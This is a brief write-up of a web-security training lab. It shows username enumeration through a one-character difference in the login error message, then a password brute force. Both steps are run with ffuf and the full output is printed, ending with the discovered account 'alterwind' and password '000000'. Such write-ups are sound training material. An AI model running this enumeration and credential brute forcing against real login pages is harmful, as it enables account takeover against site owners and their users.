As the background says, this has a subtly different resposne, first we start enumerating users with the provided wordlist, the response is

Invalid username or password.

with a period, but after finding a user, the response changes to

Invalid username or password

without a period, so we use this to brute force the password

Metodo con ffuf

 computadora@archlinux  ~/writeups  ~/go/bin/ffuf -request enum.txt -w users.txt:FUZZ -t 1000 -c -fr "Invalid username or password\."

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : https://0a39009803f11c778281016f005c0006.web-security-academy.net/login
 :: Wordlist         : FUZZ: /home/computadora/writeups/users.txt
 :: Header           : Cookie: session=0lNORSL1HTNP7sJhXLeb2d9yzdcYKpl9
 :: Header           : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0
 :: Header           : Accept-Language: en-US,en;q=0.9
 :: Header           : Referer: https://0a39009803f11c778281016f005c0006.web-security-academy.net/login
 :: Header           : Sec-Fetch-Mode: navigate
 :: Header           : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 :: Header           : Origin: https://0a39009803f11c778281016f005c0006.web-security-academy.net
 :: Header           : Upgrade-Insecure-Requests: 1
 :: Header           : Sec-Fetch-Site: same-origin
 :: Header           : Te: trailers
 :: Header           : Accept-Encoding: gzip, deflate, br
 :: Header           : Sec-Fetch-Dest: document
 :: Header           : Sec-Fetch-User: ?1
 :: Header           : Priority: u=0, i
 :: Header           : Host: 0a39009803f11c778281016f005c0006.web-security-academy.net
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Header           : X-Pwnfox-Color: green
 :: Data             : username=FUZZ&password=FUZZ2
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 1000
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: Invalid username or password\.
________________________________________________

alterwind               [Status: 200, Size: 3335, Words: 1336, Lines: 69, Duration: 197ms]
:: Progress: [101/101] :: Job [1/1] :: 24 req/sec :: Duration: [0:00:05] :: Errors: 0 ::

✘ computadora@archlinux  ~/writeups  ~/go/bin/ffuf -request enum.txt -w pass.txt:FUZZ2 -t 1000 -c -fr "Invalid username or password"

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : https://0a39009803f11c778281016f005c0006.web-security-academy.net/login
 :: Wordlist         : FUZZ2: /home/computadora/writeups/pass.txt
 :: Header           : Cookie: session=0lNORSL1HTNP7sJhXLeb2d9yzdcYKpl9
 :: Header           : Sec-Fetch-User: ?1
 :: Header           : X-Pwnfox-Color: green
 :: Header           : Priority: u=0, i
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Header           : Referer: https://0a39009803f11c778281016f005c0006.web-security-academy.net/login
 :: Header           : Sec-Fetch-Dest: document
 :: Header           : Sec-Fetch-Mode: navigate
 :: Header           : Sec-Fetch-Site: same-origin
 :: Header           : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:147.0) Gecko/20100101 Firefox/147.0
 :: Header           : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 :: Header           : Accept-Encoding: gzip, deflate, br
 :: Header           : Origin: https://0a39009803f11c778281016f005c0006.web-security-academy.net
 :: Header           : Upgrade-Insecure-Requests: 1
 :: Header           : Accept-Language: en-US,en;q=0.9
 :: Header           : Te: trailers
 :: Header           : Host: 0a39009803f11c778281016f005c0006.web-security-academy.net
 :: Data             : username=alterwind&password=FUZZ2
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 1000
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Regexp: Invalid username or password
________________________________________________

000000                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 200ms]
:: Progress: [100/100] :: Job [1/1] :: 23 req/sec :: Duration: [0:00:05] :: Errors: 0 ::